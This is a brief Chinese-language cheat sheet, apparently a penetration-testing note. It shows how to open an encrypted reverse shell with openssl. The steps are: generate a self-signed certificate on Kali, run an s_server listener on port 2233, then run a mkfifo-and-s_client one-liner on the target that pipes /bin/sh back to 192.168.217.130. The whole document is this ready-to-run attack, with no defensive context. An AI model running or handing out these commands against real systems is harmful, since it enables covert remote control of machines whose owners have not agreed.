在kali上生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

在kali上启动2233端口监听
openssl s_server -quiet -key key.pem -cert cert.pem -port 2233
在目标机器上利用openssl反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.217.130:2233> /tmp/s; rm /tmp/s

